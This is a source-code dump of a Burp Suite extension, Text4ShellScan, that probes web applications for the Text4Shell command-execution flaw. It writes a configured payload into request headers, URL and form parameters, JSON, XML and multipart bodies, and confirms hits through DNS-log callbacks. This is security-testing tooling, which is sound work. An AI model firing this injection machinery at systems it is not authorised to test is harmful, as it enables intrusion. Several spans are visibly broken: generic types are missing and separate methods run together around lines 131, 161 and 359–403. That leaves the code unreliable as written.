305 | public TablesData(int id, String VulName, String Method, String url, String status, String Info, String Size, IHttpRequestResponse requestResponse, String startTime, String endTime) {
306 | this.id = id;
307 | this.VulName = VulName;
308 | this.Method = Method;
309 | this.url = url;
310 | this.status = status;
311 | this.Info = Info;
312 | this.Size = Size;
313 | this.requestResponse = requestResponse;
314 | this.startTime = startTime;
315 | this.endTime = endTime;
316 | }
317 | }
318 |
319 |
320 | private void jTable1MouseClicked(java.awt.event.MouseEvent evt) {
321 |
322 | mouseRightButtonClick(evt);
323 | }
324 |
325 |
326 | private void mouseRightButtonClick(java.awt.event.MouseEvent evt) {
327 | //判断是否为鼠标的BUTTON3按钮,BUTTON3为鼠标右键
328 | if (evt.getButton() == java.awt.event.MouseEvent.BUTTON3) {
329 | //经过点击位置找到点击为表格中的行
330 | int focusedRowIndex = this.Utable.rowAtPoint(evt.getPoint());
331 | if (focusedRowIndex == -1) {
332 | return;
333 | }
334 | //将表格所选项设为当前右键点击的行
335 | // this.Utable.setRowSelectionInterval(focusedRowIndex, focusedRowIndex);
336 | //弹出菜单
337 | m_popupMenu.show(this.Utable, evt.getX(), evt.getY());
338 | }
339 |
340 | }
341 |
342 |
343 | }
344 |
345 |
346 | class Remove_All implements ActionListener {
347 | private Tags tag;
348 |
349 | public Remove_All(Tags tag) {
350 | this.tag = tag;
351 | }
352 |
353 | @Override
354 | public void actionPerformed(ActionEvent e) {
355 | tag.Udatas.clear();
356 | tag.HRequestTextEditor.setMessage(new byte[]{},true);
357 | tag.HResponseTextEditor.setMessage(new byte[]{},false);
358 | }
359 | }
360 |
361 |
362 | class Remove_action implements ActionListener {
363 | private Tags tag;
364 |
365 | public Remove_action(Tags tag) {
366 | this.tag = tag;
367 | }
368 |
369 | @Override
370 | public void actionPerformed(ActionEvent e) {
371 | int[] RemId = tag.Utable.getSelectedRows();
372 | for (int i : reversal(RemId)) {
373 | tag.Udatas.remove(i);
374 | tag.fireTableRowsDeleted(i, i);
375 | tag.HRequestTextEditor.setMessage(new byte[]{},true);
376 | tag.HResponseTextEditor.setMessage(new byte[]{},false);
377 | }
378 | }
379 |
380 | public Integer[] reversal(int[] int_array) {
381 | Integer newScores[] = new Integer[int_array.length];
382 | for (int i = 0; i < int_array.length; i++) {
383 | newScores[i] = new Integer(int_array[i]);
384 | }
385 |
386 | Arrays.sort(newScores, Collections.reverseOrder());
387 | return newScores;
388 |
389 | }
390 | }
391 |
--------------------------------------------------------------------------------
/src/main/java/burp/BurpExtender.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import burp.Application.RemoteCmdExtension.RemoteCmd;
4 | import burp.Bootstrap.*;
5 | import burp.CustomErrorException.TaskTimeoutException;
6 | import burp.DnsLogModule.DnsLog;
7 | import burp.UI.*;
8 |
9 | import javax.swing.*;
10 | import java.io.PrintWriter;
11 | import java.lang.reflect.InvocationTargetException;
12 | import java.util.ArrayList;
13 | import java.util.Arrays;
14 | import java.util.List;
15 |
16 | public class BurpExtender implements IBurpExtender, IScannerCheck, IExtensionStateListener, IContextMenuFactory {
17 | public static String NAME="Text4ShellScan";
18 | public Tags tags;
19 | private IBurpExtenderCallbacks callbacks;
20 | private IExtensionHelpers helpers;
21 |
22 | private GlobalVariableReader globalVariableReader;
23 |
24 | private PrintWriter stdout;
25 | private PrintWriter stderr;
26 |
27 | private YamlReader yamlReader;
28 |
29 | @Override
30 | public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
31 |
32 | this.callbacks = callbacks;
33 | this.helpers = callbacks.getHelpers();
34 |
35 | this.stdout = new PrintWriter(callbacks.getStdout(), true);
36 | this.stderr = new PrintWriter(callbacks.getStderr(), true);
37 |
38 | // 全局变量的数据保存地址
39 | // 用于在程序执行的过程中能够实时的修改变量数据使用
40 | this.globalVariableReader = new GlobalVariableReader();
41 |
42 | // 是否卸载扩展
43 | // 用于卸载插件以后,把程序快速退出去,避免卡顿
44 | // true = 已被卸载, false = 未卸载
45 | this.globalVariableReader.putBooleanData("isExtensionUnload", false);
46 |
47 | this.tags = new Tags(callbacks, NAME);
48 |
49 | callbacks.setExtensionName(NAME);
50 | callbacks.registerScannerCheck(this);
51 | callbacks.registerExtensionStateListener(this);
52 | callbacks.registerContextMenuFactory(this);
53 | // 配置文件
54 | this.yamlReader = YamlReader.getInstance(callbacks);
55 | // 基本信息输出
56 | this.stdout.println(basicInformationOutput());
57 | }
58 | /**
59 | * 基本信息输出
60 | * @return
61 | */
62 | private static String basicInformationOutput() {
63 | String str1 = "===================================\n";
64 | String str2 = String.format("LOADING %s SUCCESS\n", NAME);
65 | String str3 = String.format("GitHub:https://github.com/A0WaQ4/BurpText4ShellScan\n");
66 | String str4 = String.format("Author:A0WaQ4\n");
67 | String str5 = "===================================\n";
68 | String detail = str1 + str2 + str3 + str4 + str5;
69 | return detail;
70 | }
71 | @Override
72 | public void extensionUnloaded() {
73 |
74 | }
75 |
76 | /**
77 | * 进行被动扫描
78 | * @param baseRequestResponse 基础的请求返回包
79 | * @return null
80 | */
81 | @Override
82 | public List doPassiveScan(IHttpRequestResponse baseRequestResponse) {
83 | List issues = new ArrayList<>();
84 |
85 | List domainNameBlacklist = this.yamlReader.getStringList("scan.domainName.blacklist");
86 | // 基础请求分析
87 | BurpAnalyzedRequest baseAnalyzedRequest = new BurpAnalyzedRequest(this.callbacks, this.tags, baseRequestResponse);
88 |
89 | CustomBurpUrl baseBurpUrl = new CustomBurpUrl(this.callbacks, baseRequestResponse);
90 | CustomBurpParameters baseBurpParameters = new CustomBurpParameters(this.callbacks,baseRequestResponse);
91 |
92 |
93 | // 判断域名黑名单
94 | if (domainNameBlacklist != null && domainNameBlacklist.size() >= 1) {
95 | if (isMatchDomainName(baseBurpUrl.getRequestHost(), domainNameBlacklist)) {
96 | return null;
97 | }
98 | }
99 |
100 | // 判断当前请求后缀,是否为url黑名单后缀
101 | if (this.isUrlBlackListSuffix(baseBurpUrl)) {
102 | return null;
103 | }
104 |
105 | try {
106 | // 远程cmd扩展
107 | IScanIssue remoteCmdIssuesDetail = this.remoteCmdExtension(baseAnalyzedRequest);
108 | if (remoteCmdIssuesDetail != null) {
109 | issues.add(remoteCmdIssuesDetail);
110 | return issues;
111 | }
112 | } catch (TaskTimeoutException e) {
113 | this.stdout.println("========插件错误-超时错误============");
114 | this.stdout.println(String.format("url: %s", baseBurpUrl.getHttpRequestUrl().toString()));
115 | this.stdout.println("请使用该url重新访问,若是还多次出现此错误,则很有可能waf拦截");
116 | this.stdout.println("错误详情请查看Extender里面对应插件的Errors标签页");
117 | this.stdout.println("========================================");
118 | this.stdout.println(" ");
119 | e.printStackTrace(this.stderr);
120 | } catch (Exception e) {
121 | this.stdout.println("========插件错误-未知错误============");
122 | this.stdout.println(String.format("url: %s", baseBurpUrl.getHttpRequestUrl().toString()));
123 | this.stdout.println("请使用该url重新访问,若是还多次出现此错误,则很有可能waf拦截");
124 | this.stdout.println("错误详情请查看Extender里面对应插件的Errors标签页");
125 | this.stdout.println("========================================");
126 | this.stdout.println(" ");
127 | e.printStackTrace(this.stderr);
128 | } finally {
129 | this.stdout.println("================扫描完毕================");
130 | this.stdout.println(String.format("url: %s", baseBurpUrl.getHttpRequestUrl().toString()));
131 | this.stdout.println("========================================");
132 | this.stdout.println(" ");
133 |
134 | return issues;
135 | }
136 |
137 | }
138 |
139 | /**
140 | * 进行主动扫描
141 | *
142 | * @param invocation
143 | * @return
144 | */
145 | @Override
146 | public List createMenuItems (IContextMenuInvocation invocation ) {
147 |
148 | JMenuItem jMenuItem = new JMenuItem("Send to Text4Shell Scanner");
149 | List jMenuItemList = new ArrayList<>();
150 |
151 | jMenuItemList.add(jMenuItem);
152 | jMenuItem.addActionListener(a -> {
153 | IHttpRequestResponse baseRequestResponse = invocation.getSelectedMessages()[0];
154 | List issues = new ArrayList<>();
155 | List domainNameBlacklist = this.yamlReader.getStringList("scan.domainName.blacklist");
156 | // 基础请求分析
157 | BurpAnalyzedRequest baseAnalyzedRequest = new BurpAnalyzedRequest(this.callbacks, this.tags, baseRequestResponse);
158 |
159 | CustomBurpUrl baseBurpUrl = new CustomBurpUrl(this.callbacks, baseRequestResponse);
160 | CustomBurpParameters baseBurpParameters = new CustomBurpParameters(this.callbacks,baseRequestResponse);
161 |
162 |
163 | // 判断域名黑名单
164 | if (domainNameBlacklist != null && domainNameBlacklist.size() >= 1) {
165 | if (isMatchDomainName(baseBurpUrl.getRequestHost(), domainNameBlacklist)) {
166 | return ;
167 | }
168 | }
169 |
170 | // 判断当前请求后缀,是否为url黑名单后缀
171 | if (this.isUrlBlackListSuffix(baseBurpUrl)) {
172 | return ;
173 | }
174 |
175 | new Thread() { // 由于createmenuitem不能进行创建buildHttpMessage,所以另起一个线程进行探测
176 | public void run() {
177 | try {
178 | // 远程cmd扩展
179 | IScanIssue remoteCmdIssuesDetail = remoteCmdExtension(baseAnalyzedRequest);
180 | if (remoteCmdIssuesDetail != null) {
181 | issues.add(remoteCmdIssuesDetail);
182 | }
183 | } catch (TaskTimeoutException e) {
184 | stdout.println("========插件错误-超时错误============");
185 | stdout.println(String.format("url: %s", baseBurpUrl.getHttpRequestUrl().toString()));
186 | stdout.println("请使用该url重新访问,若是还多次出现此错误,则很有可能waf拦截");
187 | stdout.println("错误详情请查看Extender里面对应插件的Errors标签页");
188 | stdout.println("========================================");
189 | stdout.println(" ");
190 | e.printStackTrace(stderr);
191 | } catch (Exception e) {
192 | stdout.println("========插件错误-未知错误============");
193 | stdout.println(String.format("url: %s", baseBurpUrl.getHttpRequestUrl().toString()));
194 | stdout.println("请使用该url重新访问,若是还多次出现此错误,则很有可能waf拦截");
195 | stdout.println("错误详情请查看Extender里面对应插件的Errors标签页");
196 | stdout.println("========================================");
197 | stdout.println(" ");
198 | e.printStackTrace(stderr);
199 | } finally {
200 | stdout.println("================扫描完毕================");
201 | stdout.println(String.format("url: %s", baseBurpUrl.getHttpRequestUrl().toString()));
202 | stdout.println("========================================");
203 | stdout.println(" ");
204 | }
205 |
206 | }
207 | }.start();
208 | }
209 | );
210 |
211 | return jMenuItemList;
212 | }
213 |
214 | /**
215 | * 远程cmd扩展
216 | *
217 | * @param analyzedRequest
218 | * @return IScanIssue issues
219 | * @throws ClassNotFoundException
220 | * @throws NoSuchMethodException
221 | * @throws InvocationTargetException
222 | * @throws InstantiationException
223 | * @throws IllegalAccessException
224 | */
225 | private IScanIssue remoteCmdExtension(BurpAnalyzedRequest analyzedRequest) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
226 | String provider = this.yamlReader.getString("application.remoteCmdExtension.config.provider");
227 |
228 | DnsLog dnsLog = new DnsLog(this.callbacks, this.yamlReader.getString("dnsLogModule.provider"));
229 | RemoteCmd remoteCmd = new RemoteCmd(this.globalVariableReader, this.callbacks, analyzedRequest, dnsLog, this.yamlReader, provider);
230 | if (!remoteCmd.run().isIssue()) {
231 | return null;
232 | }
233 |
234 | IHttpRequestResponse httpRequestResponse = remoteCmd.run().getHttpRequestResponse();
235 |
236 | int tagId = this.tags.add(
237 | remoteCmd.run().getExtensionName(),
238 | this.helpers.analyzeRequest(httpRequestResponse).getMethod(),
239 | new CustomBurpUrl(this.callbacks, httpRequestResponse).getHttpRequestUrl().toString(),
240 | this.helpers.analyzeResponse(httpRequestResponse.getResponse()).getStatusCode() + "",
241 | "[+] found Text4Shell command execution",
242 | String.valueOf(httpRequestResponse.getResponse().length),
243 | remoteCmd.run().getHttpRequestResponse()
244 | );
245 |
246 | remoteCmd.run().consoleExport();
247 | return remoteCmd.run().export();
248 | }
249 |
250 | /**
251 | * 判断是否查找的到指定的域名
252 | *
253 | * @param domainName 需匹配的域名
254 | * @param domainNameList 待匹配的域名列表
255 | * @return 是=true 否=false
256 | */
257 | private static Boolean isMatchDomainName(String domainName, List domainNameList) {
258 | domainName = domainName.trim();
259 |
260 | if (domainName.length() <= 0) {
261 | return false;
262 | }
263 |
264 | if (domainNameList == null || domainNameList.size() <= 0) {
265 | return false;
266 | }
267 |
268 | if (domainName.contains(":")) {
269 | domainName = domainName.substring(0, domainName.indexOf(":"));
270 | }
271 |
272 | String reverseDomainName = new StringBuffer(domainName).reverse().toString();
273 |
274 | for (String domainName2 : domainNameList) {
275 | domainName2 = domainName2.trim();
276 |
277 | if (domainName2.length() <= 0) {
278 | continue;
279 | }
280 |
281 | if (domainName2.contains(":")) {
282 | domainName2 = domainName2.substring(0, domainName2.indexOf(":"));
283 | }
284 |
285 | String reverseDomainName2 = new StringBuffer(domainName2).reverse().toString();
286 |
287 | if (domainName.equals(domainName2)) {
288 | return true;
289 | }
290 |
291 | if (reverseDomainName.contains(".") && reverseDomainName2.contains(".")) {
292 | List splitDomainName = new ArrayList(Arrays.asList(reverseDomainName.split("[.]")));
293 |
294 | List splitDomainName2 = new ArrayList(Arrays.asList(reverseDomainName2.split("[.]")));
295 |
296 | if (splitDomainName.size() <= 0 || splitDomainName2.size() <= 0) {
297 | continue;
298 | }
299 |
300 | if (splitDomainName.size() < splitDomainName2.size()) {
301 | for (int i = splitDomainName.size(); i < splitDomainName2.size(); i++) {
302 | splitDomainName.add("*");
303 | }
304 | }
305 |
306 | if (splitDomainName.size() > splitDomainName2.size()) {
307 | for (int i = splitDomainName2.size(); i < splitDomainName.size(); i++) {
308 | splitDomainName2.add("*");
309 | }
310 | }
311 |
312 | int ii = 0;
313 | for (int i = 0; i < splitDomainName.size(); i++) {
314 | if (splitDomainName2.get(i).equals("*")) {
315 | ii = ii + 1;
316 | } else if (splitDomainName.get(i).equals(splitDomainName2.get(i))) {
317 | ii = ii + 1;
318 | }
319 | }
320 |
321 | if (ii == splitDomainName.size()) {
322 | return true;
323 | }
324 | }
325 | }
326 | return false;
327 | }
328 |
329 | /**
330 | * 判断是否url黑名单后缀
331 | * 大小写不区分
332 | *
333 | * @param burpUrl 目标url
334 | * @return 是 = true, 否 = false
335 | */
336 | private boolean isUrlBlackListSuffix(CustomBurpUrl burpUrl) {
337 | if (!this.yamlReader.getBoolean("urlBlackListSuffix.config.isStart")) {
338 | return false;
339 | }
340 |
341 | String noParameterUrl = burpUrl.getHttpRequestUrl().toString().split("\\?")[0];
342 | String urlSuffix = noParameterUrl.substring(noParameterUrl.lastIndexOf(".") + 1);
343 |
344 | List suffixList = this.yamlReader.getStringList("urlBlackListSuffix.suffixList");
345 | if (suffixList == null || suffixList.size() == 0) {
346 | return false;
347 | }
348 |
349 | for (String s : suffixList) {
350 | if (s.toLowerCase().equals(urlSuffix.toLowerCase())) {
351 | return true;
352 | }
353 | }
354 |
355 | return false;
356 | }
357 |
358 | @Override
359 | public List doActiveScan(IHttpRequestResponse iHttpRequestResponse, IScannerInsertionPoint iScannerInsertionPoint) {
360 | return null;
361 | }
362 |
363 | @Override
364 | public int consolidateDuplicateIssues(IScanIssue iScanIssue, IScanIssue iScanIssue1) {
365 | return 0;
366 | }
367 | }
--------------------------------------------------------------------------------
/src/main/java/burp/Bootstrap/BurpAnalyzedRequest.java:
--------------------------------------------------------------------------------
1 | package burp.Bootstrap;
2 |
3 | import java.io.StringReader;
4 | import java.util.List;
5 | import java.util.ArrayList;
6 | import java.util.regex.Matcher;
7 | import java.util.regex.Pattern;
8 |
9 | import burp.*;
10 | import burp.UI.Tags;
11 | import com.alibaba.fastjson.JSON;
12 | import org.dom4j.DocumentHelper;
13 |
14 | public class BurpAnalyzedRequest {
15 | private IBurpExtenderCallbacks callbacks;
16 |
17 | private IExtensionHelpers helpers;
18 |
19 | private CustomBurpUrl customBurpUrl;
20 |
21 | private CustomBurpHelpers customBurpHelpers;
22 |
23 | private List equalParameters = new ArrayList<>();
24 | private List JsonXmlFileParameters = new ArrayList<>();
25 | private List URLParameters = new ArrayList<>();
26 |
27 | private IHttpRequestResponse requestResponse;
28 |
29 | private YamlReader yamlReader;
30 |
31 | private Tags tags;
32 |
33 | public BurpAnalyzedRequest(IBurpExtenderCallbacks callbacks, Tags tags, IHttpRequestResponse requestResponse) {
34 | this.callbacks = callbacks;
35 | this.helpers = this.callbacks.getHelpers();
36 |
37 | this.tags = tags;
38 |
39 | this.customBurpHelpers = new CustomBurpHelpers(callbacks);
40 | this.requestResponse = requestResponse;
41 | this.customBurpUrl = new CustomBurpUrl(this.callbacks , requestResponse);
42 | // 配置文件
43 | this.yamlReader = YamlReader.getInstance(callbacks);
44 |
45 | initParameters();
46 | initJsonXmlFileParameters();
47 | initURLParameters();
48 | // initEligibleJsonParameters();
49 | }
50 |
51 | public IHttpRequestResponse requestResponse() {
52 | return this.requestResponse;
53 | }
54 |
55 | public IRequestInfo analyzeRequest() {
56 | return this.helpers.analyzeRequest(this.requestResponse.getRequest());
57 | }
58 |
59 | /**
60 | * 初始化非json、xml、xml_attr、multi、cookie参数
61 | */
62 | private void initParameters() {
63 | if (analyzeRequest().getParameters().isEmpty()) {
64 | return;
65 | }
66 |
67 | for (IParameter p : analyzeRequest().getParameters()) {
68 | // 类型为json、xml、xml_attr、cookie、multi不加入
69 | if (p.getType() == 6 || p.getType() == 3 || p.getType() == 4 || p.getType() == 2 || p.getType() == 5) {
70 | continue;
71 | }
72 | if (p.getName() == null || "".equals(p.getName())) {
73 | continue;
74 | }
75 | this.equalParameters.add(p);
76 | }
77 | }
78 |
79 | /**
80 | * 初始化非cookie、xml_attr、equal参数
81 | */
82 | private void initJsonXmlFileParameters() {
83 | if (analyzeRequest().getParameters().isEmpty()) {
84 | return;
85 | }
86 |
87 | for (IParameter p : analyzeRequest().getParameters()) {
88 | // 类型为cookie、xml_attr、url不加入
89 | if (p.getType() == 2 || p.getType() == 4 || p.getType() == 1 || p.getType() == 0) {
90 | continue;
91 | }
92 | if (p.getName() == null || "".equals(p.getName())) {
93 | continue;
94 | }
95 | this.JsonXmlFileParameters.add(p);
96 | }
97 | }
98 |
99 | /**
100 | * 初始化URL中的参数
101 | */
102 | private void initURLParameters() {
103 | if (analyzeRequest().getParameters().isEmpty()) {
104 | return;
105 | }
106 | for (IParameter p : analyzeRequest().getParameters()) {
107 | // 类型为非URL参数不加入
108 | if (p.getType() != 0) {
109 | continue;
110 | }
111 | if (p.getName() == null || "".equals(p.getName())) {
112 | continue;
113 | }
114 | this.URLParameters.add(p);
115 | }
116 | }
117 |
118 |
119 |
120 | /**
121 | * 解析json字符串,普通和嵌套类型都可
122 | *
123 | * @param jsonData 请求包的json数据
124 | * @param payload textshell的payload
125 | * @return 返回添加payload的json字符串
126 | */
127 | public String analyseJson(String jsonData , String payload, String dnsLog) {
128 | String jsonResult = "";
129 | int paramNumber = 1;
130 | boolean j = false;
131 | for(int i=1;i list = new ArrayList();
161 | Pattern pattern = Pattern.compile(">(.*?)");
162 | Matcher m = pattern.matcher(XMLData);
163 | int paramNumber = 1;
164 | while (m.find()) {
165 | list.add(m.group(1));
166 | }
167 | for (String str: list){
168 | XMLData = XMLData.replace(">" + str + "",
169 | ">" + payload.replace("dns-url",
170 | (paramNumber++) + "." + "xml" + "." + dnsLog) + "");
171 | }
172 | return XMLData;
173 | }
174 |
175 | /**
176 | * 获取所有符合条件的URL参数
177 | *
178 | * @return
179 | */
180 | public List getURLParameters() {
181 | return this.URLParameters;
182 | }
183 |
184 | /**
185 | * 获取所有的equal参数
186 | *
187 | * @return List
188 | */
189 | public List getEqualParameters() {
190 | return this.equalParameters;
191 | }
192 |
193 |
194 | /**
195 | * 获取所有符合条件的json、XML参数
196 | *
197 | * @return List
198 | */
199 | public List getJsonXmlFileParameters() {
200 | return this.JsonXmlFileParameters;
201 | }
202 |
203 | /**
204 | * 获取所有符合条件的参数
205 | *
206 | * @return List
207 | */
208 | public List getAllParameters() {
209 | List AllParameters = new ArrayList<>();
210 | for(IParameter p:this.JsonXmlFileParameters){
211 | AllParameters.add(p);
212 | }
213 | for(IParameter p: this.URLParameters){
214 | AllParameters.add(p);
215 | }
216 | return AllParameters;
217 | }
218 |
219 | /**
220 | * 判断请求参数内容是否有Json
221 | *
222 | * @return boolean
223 | */
224 | public boolean isRequestParameterContentJson() {
225 | if (CustomHelpers.isJson(this.customBurpHelpers.getHttpRequestBody(requestResponse().getRequest()))) {
226 | return true;
227 | }
228 | if (getEqualParameters().isEmpty()) {
229 | return false;
230 | }
231 | return true;
232 | }
233 |
234 |
235 | /**
236 | * 会根据程序类型自动组装请求的 请求发送接口
237 | */
238 | public IHttpRequestResponse makeHttpRequest(String payload, String dnsLogUrl) {
239 | byte[] newRequest;
240 |
241 | byte[] request = this.requestResponse.getRequest();
242 |
243 | if(this.customBurpUrl.getRequestQuery() != null && this.customBurpHelpers.getHttpRequestBodyIsNullOrNo(request) != null) {
244 | byte[] URLRequest = this.buildURLParameter(payload, dnsLogUrl);
245 | IHttpRequestResponse urlHttpRequestResponse = this.callbacks.makeHttpRequest(this.requestResponse().getHttpService(),URLRequest);
246 | switch (this.analyzeRequest().getContentType()){
247 | case 1:
248 | newRequest = this.buildEqualParameter(payload, dnsLogUrl);
249 | break;
250 | case 2:
251 | newRequest = this.buildFileParameter(payload, dnsLogUrl);
252 | break;
253 | case 3:
254 | newRequest = this.buildXMLParameter(payload, dnsLogUrl);
255 | break;
256 | case 4:
257 | newRequest = this.buildJSONParameter(payload, dnsLogUrl);
258 | break;
259 | default:
260 | newRequest = this.buildParameter(payload, dnsLogUrl);
261 | }
262 | } else {
263 | switch (this.analyzeRequest().getContentType()){
264 | case 1:
265 | newRequest = this.buildEqualParameter(payload, dnsLogUrl);
266 | break;
267 | case 2:
268 | newRequest = this.buildFileParameter(payload, dnsLogUrl);
269 | break;
270 | case 3:
271 | newRequest = this.buildXMLParameter(payload, dnsLogUrl);
272 | break;
273 | case 4:
274 | newRequest = this.buildJSONParameter(payload, dnsLogUrl);
275 | break;
276 | default:
277 | newRequest = this.buildAllParameter(payload, dnsLogUrl);
278 | }
279 | }
280 |
281 | IHttpRequestResponse newHttpRequestResponse = this.callbacks.makeHttpRequest(this.requestResponse().getHttpService(), newRequest);
282 | return newHttpRequestResponse;
283 | }
284 |
285 |
286 |
287 | /**
288 | * 判断字符串为JSON格式
289 | *
290 | * @param str 参数的value或者POST包的body
291 | * @return 是=true 否=flase
292 | */
293 | public Integer isJSONOrXML(String str) {
294 | try {
295 | JSON.parse(str.replaceAll("(\\[(.*?)])","\"test\"").trim());
296 | return 1;
297 | } catch (Exception e) {
298 | }
299 | try {
300 | DocumentHelper.parseText(str);
301 | return 2;
302 | } catch (Exception e) {
303 | }
304 |
305 | return 0;
306 | }
307 |
308 | /**
309 | * 获取特征key
310 | *
311 | * @return
312 | */
313 | public String getKey(){
314 | String key = this.helpers.analyzeRequest(this.requestResponse).getMethod() + "."
315 | + this.customBurpUrl.getRequestHost() + "."
316 | + this.customBurpUrl.getRequestPort()
317 | + this.customBurpUrl.getRequestPath().replace("/",".") + "eeeee";
318 | return key;
319 | }
320 |
321 |
322 | /**
323 | * 获取特征key
324 | *
325 | * @return
326 | */
327 | public String getForReKey(){
328 | String key = this.customBurpUrl.getRequestHost() + "."
329 | + this.customBurpUrl.getRequestPort()
330 | + this.customBurpUrl.getRequestPath().replace("/",".") + "eeeee";
331 | return key;
332 | }
333 |
334 | /**
335 | * json数据格式请求处理方法
336 | *
337 | * @param payload
338 | * @return
339 | */
340 | private byte[] buildHttpMessage(String payload) {
341 | byte[] newRequest = this.helpers.buildHttpMessage(
342 | this.analyzeRequest().getHeaders(),
343 | this.helpers.stringToBytes(payload));
344 | return newRequest;
345 | }
346 |
347 | /**
348 | * 构造request header的payload
349 | *
350 | * @param payload
351 | * @param dnsLog
352 | * @return
353 | */
354 | private List getHeaders(String payload, String dnsLog) {
355 | List headers = this.analyzeRequest().getHeaders();
356 | int paramNumber = 1;
357 |
358 | List headersNameBlacklist = this.yamlReader.getStringList("scan.headersName.blacklist");
359 | for(int i =2; i headers = this.getHeaders(payload, dnsLog);
403 | newRequest = this.helpers.buildHttpMessage(
404 | headers,
405 | this.customBurpHelpers.getHttpRequestBody(newRequest).getBytes());
406 |
407 | for (int i = 0; i < this.getURLParameters().size(); i++) {
408 | IParameter p = this.getURLParameters().get(i);
409 | IParameter newParameter = null;
410 | switch (this.isJSONOrXML(p.getValue())){
411 | case 1:
412 | newParameter = this.helpers.buildParameter(
413 | p.getName(),
414 | this.analyseJson(p.getValue(), payload, dnsLog),
415 | p.getType()
416 | );
417 | break;
418 | case 2:
419 | newParameter = this.helpers.buildParameter(
420 | p.getName(),
421 | this.analyseXML(p.getValue(), payload, dnsLog),
422 | p.getType()
423 | );
424 | break;
425 | default:
426 | newParameter = this.helpers.buildParameter(
427 | p.getName(),
428 | payload.replace("dns-url",(paramNumber++)+"."+dnsLog),
429 | p.getType()
430 | );
431 | break;
432 | }
433 |
434 | newRequest = this.helpers.updateParameter(
435 | newRequest,
436 | newParameter);
437 | }
438 | return newRequest;
439 | }
440 | /**
441 | * 参数为a.name = a.value情况的构造方法
442 | *
443 | * @param payload
444 | * @param dnsLogUrl
445 | * @return
446 | */
447 | private byte[] buildEqualParameter(String payload, String dnsLogUrl) {
448 |
449 | byte[] newRequest;
450 | String dnsLog = this.getKey() + dnsLogUrl;
451 | newRequest = this.requestResponse().getRequest();
452 | int paramNumber = 1;
453 | // 添加header头
454 | List headers = this.getHeaders(payload, dnsLog);
455 | newRequest = this.helpers.buildHttpMessage(
456 | headers,
457 | this.customBurpHelpers.getHttpRequestBody(newRequest).getBytes());
458 |
459 | for (int i = 0; i < this.getEqualParameters().size(); i++) {
460 | IParameter p = this.getEqualParameters().get(i);
461 | IParameter newParameter = null;
462 | switch (this.isJSONOrXML(p.getValue())){
463 | case 1:
464 | newParameter = this.helpers.buildParameter(
465 | p.getName(),
466 | this.analyseJson(p.getValue(), payload, dnsLog),
467 | p.getType()
468 | );
469 | break;
470 | case 2:
471 | newParameter = this.helpers.buildParameter(
472 | p.getName(),
473 | this.analyseXML(p.getValue(), payload, dnsLog),
474 | p.getType()
475 | );
476 | break;
477 | default:
478 | newParameter = this.helpers.buildParameter(
479 | p.getName(),
480 | payload.replace("dns-url",(paramNumber++)+"."+dnsLog),
481 | p.getType()
482 | );
483 | break;
484 | }
485 |
486 | newRequest = this.helpers.updateParameter(
487 | newRequest,
488 | newParameter);
489 | }
490 | return newRequest;
491 | }
492 |
493 | /**
494 | * body内容为file时的构造
495 | *
496 | * @param payload
497 | * @param dnsLogUrl
498 | * @return
499 | */
500 | private byte[] buildFileParameter(String payload, String dnsLogUrl) {
501 | byte[] newRequest;
502 | String dnsLog = this.getKey() + dnsLogUrl;
503 | newRequest = this.requestResponse().getRequest();
504 | int paramNumber = 1;
505 | // 添加header头
506 | List headers = this.getHeaders(payload, dnsLog);
507 | String body = this.customBurpHelpers.getHttpRequestBody(newRequest);
508 | List listMultipart = new ArrayList();
509 | Pattern pattern = Pattern.compile("\n(.*?)\r\n--");
510 | Matcher m = pattern.matcher(body);
511 | while (m.find()) {
512 | listMultipart.add(m.group(1));
513 | // stdout.println(m.group(1));
514 | }
515 | for ( String str : listMultipart) {
516 | body = body.replace("\n" + str + "\r\n--",
517 | "\n" + payload.replace("dns-url",
518 | (paramNumber++) + "." + dnsLog) + "\r\n--");
519 | }
520 | newRequest = this.helpers.buildHttpMessage(
521 | headers,
522 | body.getBytes()
523 | );
524 | return newRequest;
525 | }
526 |
527 | /**
528 | * 只对body的参数进行构造
529 | *
530 | * @param payload
531 | * @return
532 | */
533 | private byte[] buildParameter(String payload, String dnsLogUrl) {
534 | byte[] newRequest;
535 | String dnsLog = this.getKey() + dnsLogUrl;
536 | newRequest = this.requestResponse().getRequest();
537 | int paramNumber = 1;
538 | // 添加header头
539 | List headers = this.getHeaders(payload, dnsLog);
540 | newRequest = this.helpers.buildHttpMessage(
541 | headers,
542 | this.customBurpHelpers.getHttpRequestBody(newRequest).getBytes());
543 |
544 | for (int i = 0; i < this.getJsonXmlFileParameters().size(); i++) {
545 | IParameter p = this.getJsonXmlFileParameters().get(i);
546 | IParameter newParameter = this.helpers.buildParameter(
547 | p.getName(),
548 | payload.replace("dns-url",(paramNumber++) + "."+ dnsLog),
549 | p.getType()
550 | );
551 |
552 | newRequest = this.helpers.updateParameter(
553 | newRequest,
554 | newParameter);
555 | }
556 | return newRequest;
557 | }
558 |
559 | /**
560 | * body中只有json的参数构造方法
561 | *
562 | * @param payload
563 | * @return
564 | */
565 | private byte[] buildJSONParameter(String payload, String dnsLogUrl) {
566 | byte[] newRequest;
567 | String dnsLog = this.getKey() + dnsLogUrl;
568 | newRequest = this.requestResponse().getRequest();
569 | String body = this.analyseJson(this.customBurpHelpers.getHttpRequestBody(newRequest), payload, dnsLog);
570 | // 添加header头
571 | List headers = this.getHeaders(payload, dnsLog);
572 | newRequest = this.helpers.buildHttpMessage(
573 | headers,
574 | body.getBytes());
575 | return newRequest;
576 | }
577 |
578 | /**
579 | * body中只有XML的参数构造方法
580 | *
581 | * @param payload
582 | * @return
583 | */
584 | private byte[] buildXMLParameter(String payload, String dnsLogUrl) {
585 | byte[] newRequest;
586 | String dnsLog = this.getKey() + dnsLogUrl;
587 | newRequest = this.requestResponse().getRequest();
588 | String body = this.analyseXML(this.customBurpHelpers.getHttpRequestBody(newRequest), payload, dnsLog);
589 | // 添加header头
590 | List headers = this.getHeaders(payload, dnsLog);
591 | newRequest = this.helpers.buildHttpMessage(
592 | headers,
593 | body.getBytes());
594 | return newRequest;
595 | }
596 |
597 |
598 | /**
599 | * request所有参数的构造方法
600 | *
601 | * @param payload
602 | * @return
603 | */
604 | private byte[] buildAllParameter(String payload, String dnsLogUrl) {
605 | byte[] newRequest;
606 | String dnsLog = this.getKey() + dnsLogUrl;
607 | newRequest = this.requestResponse().getRequest();
608 | int paramNumber = 1;
609 | // 添加header头
